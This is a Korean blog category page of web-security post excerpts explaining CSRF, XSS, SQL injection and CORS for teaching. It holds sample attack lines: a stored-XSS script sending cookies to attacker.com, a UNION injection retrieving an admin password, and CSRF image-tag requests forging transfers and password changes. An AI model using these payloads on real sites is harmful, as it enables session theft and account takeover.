Category: Security

0

[Web Security] CSRF 공격과 방어 기법 완벽 가이드

🎯 CSRF(Cross-Site Request Forgery)란?CSRF는 사용자가 의도하지 않은 요청을 공격자가 만든 웹사이트를 통해 실행시키는 공격입니다.사용자가 이미 로그인되어 있는 사이트에서, 공격자가 조작한 요청을 사용자 몰래 전송하게 만듭니다. 공격 시나리오 예시 사용자가 은행 사이트(bank.com)에 로그인되어 있음 공격자가 만든 악성 사이트(evil.com)를 방문 악성 사이트에 숨겨진 코드가 bank.com으로 송금 요청을 전송 브라우저는 자동으로 쿠키를 포함해 요청을 전송 은행 서버는 정상적인 요청으로 인식하고 처리 🔍 CSRF 공격의 핵심 원리브라우저의 쿠키 자동 전송브라우저는 같은 도메인으로의 모든 요청에 자동으로 쿠키를 첨부합니다. GET /transfer?to=attacker&amount=10000 HTTP/1.1Host: bank.comCookie: session_id=abc123 ← 자동으로 포함됨! 공격 코드 예시1. 이미지 태그를 이용한 공격

0

[Web Security] XSS 공격과 방어 기법 완벽 가이드

🎯 XSS(Cross-Site Scripting)란?XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다. XSS vs CSRF 차이점 구분 XSS CSRF 공격 대상 웹사이트의 사용자 웹사이트의 서버 공격 방식 악성 스크립트 실행 사용자 권한으로 요청 전송 주요 수단 JavaScript 주입 자동 폼 제출, 이미지 태그 탈취 가능 쿠키, 세션, DOM, 키 입력 등 불가능 (요청만 가능) 🔍 XSS 공격 유형1. Stored XSS (저장형)악성 스크립트가 서버 데이터베이스에 저장되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.가장 위험한 XSS 공격입니다. 공격 시나리오// 게시판 댓글 작성const comment = '<script> fetch("https://attacker.com/steal?cookie=" + document.cookie);</script>';// 서버에 저장됨// DB: comments 테이블에 위 스크립트가 그대로 저장// 다른 사용자가 게시글을 볼 때<div class="comment"> <script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script></div>// ⚠️ 모든 방문자의 쿠키가 탈취됨! 실제 사례

0

SQL injection

SQL injection 이란 보안상의 허점을 이용해 사용자가 정의한 SQL 문외 조작된 SQL 을 주입하고 실행시켜 데이터베이스에 저장된 중요한 정보를 가져오는 공격 기법을 의미한다. Error Based SQL injection 논리적 에러를 이용한 SQL injection 잘못된 SQL 을 이용해 고의로 에러를 발생시는 공격 기법이다. 예외로 던저진 Message 를 통해 테이블 명과 컬럼과 같은 테이블 정보 를 얻어낼 수 있다. SQL 구문 정보를 변경해 사용자 인증을 우회해 접속할 수 있다. Union Based SQL injection Union 명령을 이용한 SQL injection 정상적으로 실행하는 쿼리와 정보를 탈취하기 위한 쿼리문을 Union 연산자를 통해 실행시킨다. 데이터 형식과 컬럼 수가 일치하면 Union 연산자를 이용해 데이터를 가져올 수 있다. SELECT uid FROM user_table WHERE uid='' UNION SELECT upw FROM user_table WHERE uid='admin' -- and...

0

네트워크 - CORS (Corss Site Resource Sharing)

SOP (Same Origin Policy)다른 출처의 리소스를 사용 못하도록 제한하는 보안 방식 CORS (Cross Origin Resource Sharing) 하나의 Origin 에서 실행 중인 웹 애플리케이션이 다른 Origin 내 리소스를 사용하는 것을 의미한다. 추가 HTTP 헤더를 이용해 한 출처에서 실행중인 웹 어플리케이션이 다른 출처의 선택된 자원에 접근할 수 있는 권한을 부여하도록 브라우저에게 알려주는 체제 Request 내 Origin 헤더와 Response 내 Access-Control-Allow-Origin 헤더가 같으면 브라우저는 같은 출처로 인식한다. 해결 방법서버에서 Access-Control-Allow-Origin 헤더를 포함한 응답을 브라우저에 보내는 방식으로 CORS 에러를 해결할 수 있습니다. 프론트엔드 개발자가 CORS 에러를 확인했다면, 서버에 Access-Control-Allow-Origin 등 CORS를 해결하기 위한 몇 가지 응답 헤더를 포함해 달라고 요청해야 합니다. 출처 URL의 Protocol, Host, Port 를 합친 것을 의미한다.

0

네트워크 - XSS (Cross-Site Scripting)

![]/images/computer-science/network/http/xss.png) XSS (Cross-Site Scripting) 공격자가 보안이 취약한 웹 사이트에 악성 스크립트를 삽입하는 공격 기법 XSS 를 통해 C&C (좀비 PC에 명령을 내리거나 악성 코드를 제어하는 서버) 로 리다이렉하거나 사용자의 쿠키를 탈취해 Session 하이재킹 공격을 할 수 있다. Persistent XSS 공격자가 심어놓은 특정 스크립트가 서버에 저장돼 지속적으로 서비스를 제공하는 정상 페이지에서 공격자에게 스크립트가 노출되는 기법 Relected XSS 웹 어플리케이션의 파라미터를 사용할 때 발생하는 취약점을 이용한 공격 기법 쿼리 파라미터로 특정 스크립트를 보냈을 때 서버가 필터링을 거치지 않고 파라미터로 포함된 스크립트를 응답 페이지에 담아 전송할 때 문제가 발생

0

네트워크 - CSRF (Corss Site Request For Forgery)

CSRF (Corss Site Request Forgery) CSRF 란 사이트 간 요청 위조의 의미로, 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 해 특정 웹페이지를 보안에 취약하게 하거나 수정, 삭제 들의 작업을 하게 만드는 공격 방법공격자가 특정 사용자의 권한을 탈취해 특정 행위 (수정, 삭제, 등록 등) 를 사이트에 요청하게 만드는 공격 CSRF 를 위한 조건 권한이 있는 사용자가 사이트(서비스) 에 접속해야 한다. 사용자가 공격자가 만든 피싱 사이트에 접속하게 되면 CSRF 공격이 성립된다. 2008년에 발생했던 옥션의 개인정보 유출 사건에서도 관리자 계정을 탈취하는데 이 CSRF 방법을 이용 옥션 관리자가 메일을 조회하면서 CSRF 공격할 수 있는 테그가 들어간 이메일을 열어 해커가 관리자 권한을 취득하게 됨 <img src="http://auction.com/changeUserAcoount?id=admin&password=admin" width="0" height="0"> 방어 방법1. Referrer 검증